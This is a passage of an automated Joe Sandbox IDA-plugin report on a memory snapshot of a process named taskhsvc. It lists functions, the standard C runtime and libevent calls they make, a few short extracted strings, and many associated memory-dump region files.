Part of subcall function 00270961: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00271238), ref: 002709B8
Part of subcall function 00270961: memcpy.MSVCRT ref: 002709E1
Part of subcall function 00270961: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00271238), ref: 002709F4

Part of subcall function 00273E8E: abort.MSVCRT ref: 00273F1D
Part of subcall function 00273E8E: abort.MSVCRT ref: 00273F92
Part of subcall function 00273E8E: __stack_chk_fail.LIBSSP-0 ref: 00273FA3

Part of subcall function 00272A33: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0027132B), ref: 00272A68

Part of subcall function 0027BECE: __stack_chk_fail.LIBSSP-0 ref: 0027BF83

Strings

>D, xrefs: 002710A9

Memory Dump Source

Source File: 00000013.00000002.1855138358.00267000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031284F, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 255

APIs

Part of subcall function 00312523: strftime.MSVCRT ref: 00312608
Part of subcall function 00312523: __stack_chk_fail.LIBSSP-0 ref: 0031266E

memcpy.MSVCRT ref: 00312B34

Part of subcall function 003123FC: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,003129BA), ref: 0031247D

Part of subcall function 00314F0D: strlen.MSVCRT ref: 00314FA0
Part of subcall function 00314F0D: strlen.MSVCRT ref: 00315010
Part of subcall function 00314F0D: memcpy.MSVCRT ref: 00315067
Part of subcall function 00314F0D: __stack_chk_fail.LIBSSP-0 ref: 00315080

Part of subcall function 00316005: __stack_chk_fail.LIBSSP-0 ref: 0031605E

strlen.MSVCRT ref: 00312A07
memcpy.MSVCRT ref: 00312A46

Part of subcall function 00316065: __stack_chk_fail.LIBSSP-0 ref: 00316100

__stack_chk_fail.LIBSSP-0 ref: 00312B6F

Part of subcall function 00315895: strlen.MSVCRT ref: 003158CA
Part of subcall function 00315895: __stack_chk_fail.LIBSSP-0 ref: 00315904

strlen.MSVCRT ref: 00312ACE
memcpy.MSVCRT ref: 00312AFA

Part of subcall function 003F8710: strlen.MSVCRT ref: 003F872A
Part of subcall function 003F8710: malloc.MSVCRT ref: 003F8736
Part of subcall function 003F8710: strlen.MSVCRT ref: 003F8740
Part of subcall function 003F8710: malloc.MSVCRT ref: 003F874C
Part of subcall function 003F8710: free.MSVCRT ref: 003F87AC

Strings

%s: , xrefs: 003129C7
%s(): , xrefs: 003129CE
#, xrefs: 00312B21
#, xrefs: 00312B39

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00220663, Relevance: 16.3, APIs: 6, Strings: 3, Instructions: 544

APIs

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 0021F729: abort.MSVCRT ref: 0021F776
Part of subcall function 0021F729: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0021F7A7,?,?,?,?,?,00206074), ref: 0021F78B

Part of subcall function 00315561: __stack_chk_fail.LIBSSP-0 ref: 003155CC

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

abort.MSVCRT ref: 002207B2
time.MSVCRT ref: 00220850

Part of subcall function 0027A07D: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00208E4B), ref: 0027A0A6

Part of subcall function 001EEEF2: __stack_chk_fail.LIBSSP-0 ref: 001EF046

Part of subcall function 001C1929: __stack_chk_fail.LIBSSP-0 ref: 001C194F

Part of subcall function 001EEBE4: __stack_chk_fail.LIBSSP-0 ref: 001EEE36

Part of subcall function 00231A28: abort.MSVCRT ref: 00231A78
Part of subcall function 00231A28: memset.MSVCRT ref: 00231AA4
Part of subcall function 00231A28: __stack_chk_fail.LIBSSP-0 ref: 00231AE6

Part of subcall function 001F80E5: event_new.LIBEVENT-2-0-5 ref: 001F8149
Part of subcall function 001F80E5: abort.MSVCRT ref: 001F8190
Part of subcall function 001F80E5: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,002207F2), ref: 001F81C0

Part of subcall function 002EA547: abort.MSVCRT ref: 002EA5CA
Part of subcall function 002EA547: event_new.LIBEVENT-2-0-5 ref: 002EA5F7
Part of subcall function 002EA547: __stack_chk_fail.LIBSSP-0 ref: 002EA635

abort.MSVCRT ref: 00220958

Part of subcall function 00317AE2: __stack_chk_fail.LIBSSP-0 ref: 00317B32

Part of subcall function 003259C5: abort.MSVCRT ref: 00325A21
Part of subcall function 003259C5: _stati64.MSVCRT ref: 00325A8E
Part of subcall function 003259C5: free.MSVCRT ref: 00325AA7
Part of subcall function 003259C5: strerror.MSVCRT ref: 00325AD7
Part of subcall function 003259C5: _mkdir.MSVCRT ref: 00325B54
Part of subcall function 003259C5: strerror.MSVCRT ref: 00325B72
Part of subcall function 003259C5: __stack_chk_fail.LIBSSP-0 ref: 00325C45

free.MSVCRT ref: 00220AD3

Part of subcall function 003134C5: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00220AE4), ref: 00313519
Part of subcall function 003134C5: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00220AE4), ref: 003136B7
Part of subcall function 003134C5: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,00220AE4), ref: 003136D4

Part of subcall function 0031721B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00316FE0), ref: 0031724B

Part of subcall function 001F4130: abort.MSVCRT ref: 001F419F
Part of subcall function 001F4130: __stack_chk_fail.LIBSSP-0 ref: 001F43C1

Part of subcall function 0031470B: abort.MSVCRT ref: 0031475B
Part of subcall function 0031470B: strlen.MSVCRT ref: 0031481E
Part of subcall function 0031470B: abort.MSVCRT ref: 003148E2
Part of subcall function 0031470B: __stack_chk_fail.LIBSSP-0 ref: 003148FF

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 0031490C: abort.MSVCRT ref: 00314959
Part of subcall function 0031490C: abort.MSVCRT ref: 00314A03
Part of subcall function 0031490C: __stack_chk_fail.LIBSSP-0 ref: 00314A20

Part of subcall function 00314268: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00220ABA), ref: 0031431D
Part of subcall function 00314268: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00220ABA), ref: 0031437D
Part of subcall function 00314268: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00220ABA), ref: 0031439E

Part of subcall function 00314B17: abort.MSVCRT ref: 00314B64
Part of subcall function 00314B17: abort.MSVCRT ref: 00314BD4
Part of subcall function 00314B17: __stack_chk_fail.LIBSSP-0 ref: 00314BF1

Part of subcall function 0022B2E4: _fileno.MSVCRT ref: 0022B634
Part of subcall function 0022B2E4: strcmp.MSVCRT ref: 0022B741
Part of subcall function 0022B2E4: strerror.MSVCRT ref: 0022B78B
Part of subcall function 0022B2E4: free.MSVCRT ref: 0022B7DF
Part of subcall function 0022B2E4: free.MSVCRT ref: 0022B860
Part of subcall function 0022B2E4: free.MSVCRT ref: 0022B89E
Part of subcall function 0022B2E4: __stack_chk_fail.LIBSSP-0 ref: 0022B900

Part of subcall function 00316107: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FAF4), ref: 003161A4
Part of subcall function 00316107: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FAF4), ref: 003161B7

Part of subcall function 003190A8: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,002208EC), ref: 00319106

Part of subcall function 00330A40: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00220731), ref: 00330A60

abort.MSVCRT ref: 00220DBF
__stack_chk_fail.LIBSSP-0 ref: 00220EE6

Part of subcall function 00317969: abort.MSVCRT ref: 00317A89
Part of subcall function 00317969: __stack_chk_fail.LIBSSP-0 ref: 00317AB4

Part of subcall function 00314A27: abort.MSVCRT ref: 00314A74
Part of subcall function 00314A27: abort.MSVCRT ref: 00314AEE
Part of subcall function 00314A27: __stack_chk_fail.LIBSSP-0 ref: 00314B10

Part of subcall function 001F7582: __stack_chk_fail.LIBSSP-0 ref: 001F76E8

Part of subcall function 001E8CDE: __stack_chk_fail.LIBSSP-0 ref: 001E8DE1

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 001EA631: __stack_chk_fail.LIBSSP-0 ref: 001EA800

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 00328790: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,002206E9), ref: 003287AC

Strings

@, xrefs: 00220CC5
gfff, xrefs: 00220CA7
0aC, xrefs: 00220E5E

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00325CFA, Relevance: 15.2, APIs: 10, Instructions: 213

APIs

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

abort.MSVCRT ref: 00325D72
abort.MSVCRT ref: 00325DB1
free.MSVCRT ref: 00325FFF

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 00325DF6

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

Part of subcall function 00316107: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FAF4), ref: 003161A4
Part of subcall function 00316107: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FAF4), ref: 003161B7

Part of subcall function 003159C4: _open.MSVCRT ref: 00315A44
Part of subcall function 003159C4: __stack_chk_fail.LIBSSP-0 ref: 00315A5A

strerror.MSVCRT ref: 00325ECF
__stack_chk_fail.LIBSSP-0 ref: 0032601B

Part of subcall function 00316BC4: _lseek.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00325F20), ref: 00316BF5
Part of subcall function 00316BC4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00325F20), ref: 00316C12

strerror.MSVCRT ref: 00325F30

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

_close.MSVCRT ref: 00325F8C
free.MSVCRT ref: 00325FB5
free.MSVCRT ref: 00325FDD

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0022D5B4, Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 340

APIs

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

memset.MSVCRT ref: 0022D62C

Part of subcall function 0031AD40: abort.MSVCRT ref: 0031ADAF
Part of subcall function 0031AD40: abort.MSVCRT ref: 0031ADEE
Part of subcall function 0031AD40: strchr.MSVCRT ref: 0031AE3D
Part of subcall function 0031AD40: strstr.MSVCRT ref: 0031AE5A
Part of subcall function 0031AD40: strchr.MSVCRT ref: 0031AE76
Part of subcall function 0031AD40: abort.MSVCRT ref: 0031AEE4
Part of subcall function 0031AD40: strlen.MSVCRT ref: 0031AF08
Part of subcall function 0031AD40: __stack_chk_fail.LIBSSP-0 ref: 0031AFED

strchr.MSVCRT ref: 0022D699

Part of subcall function 003223BF: strlen.MSVCRT ref: 003223E1
Part of subcall function 003223BF: strncmp.MSVCRT ref: 003223FD
Part of subcall function 003223BF: __stack_chk_fail.LIBSSP-0 ref: 0032240D

strlen.MSVCRT ref: 0022D73F

Part of subcall function 00331E6E: memset.MSVCRT ref: 00331EE0
Part of subcall function 00331E6E: abort.MSVCRT ref: 00331F97
Part of subcall function 00331E6E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0026CC39), ref: 00331FB1

Part of subcall function 0032248D: strlen.MSVCRT ref: 003224AF
Part of subcall function 0032248D: __stack_chk_fail.LIBSSP-0 ref: 003224DD

Part of subcall function 0032F113: abort.MSVCRT ref: 0032F189
Part of subcall function 0032F113: abort.MSVCRT ref: 0032F1C8
Part of subcall function 0032F113: abort.MSVCRT ref: 0032F207
Part of subcall function 0032F113: free.MSVCRT ref: 0032F28C
Part of subcall function 0032F113: __stack_chk_fail.LIBSSP-0 ref: 0032F2A6

Part of subcall function 0021F6D4: __stack_chk_fail.LIBSSP-0 ref: 0021F6FB

free.MSVCRT ref: 0022DB91

Part of subcall function 0032326B: __stack_chk_fail.LIBSSP-0 ref: 003233C7

Part of subcall function 00322B81: __stack_chk_fail.LIBSSP-0 ref: 00322BBD

Part of subcall function 0032F2AD: abort.MSVCRT ref: 0032F30F
Part of subcall function 0032F2AD: abort.MSVCRT ref: 0032F34E
Part of subcall function 0032F2AD: abort.MSVCRT ref: 0032F38D
Part of subcall function 0032F2AD: __stack_chk_fail.LIBSSP-0 ref: 0032F3FD

__stack_chk_fail.LIBSSP-0 ref: 0022DBB1

Part of subcall function 0032E186: abort.MSVCRT ref: 0032E1F1
Part of subcall function 0032E186: strlen.MSVCRT ref: 0032E213
Part of subcall function 0032E186: free.MSVCRT ref: 0032E2C3
Part of subcall function 0032E186: __stack_chk_fail.LIBSSP-0 ref: 0032E2DD

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 0024E04C: __stack_chk_fail.LIBSSP-0 ref: 0024E0EB

Part of subcall function 0024E0F2: __stack_chk_fail.LIBSSP-0 ref: 0024E175

Part of subcall function 00323938: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FF97), ref: 00323967
Part of subcall function 00323938: __stack_chk_fail.LIBSSP-0 ref: 003239A8

free.MSVCRT ref: 0022DB41

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 00322F87: strtol.MSVCRT ref: 00322FFB
Part of subcall function 00322F87: __stack_chk_fail.LIBSSP-0 ref: 003230F2

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Strings

aEC, xrefs: 0022D77C
<HC, xrefs: 0022DACE

Memory Dump Source

Source File: 00000013.00000002.1855077166.00228000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
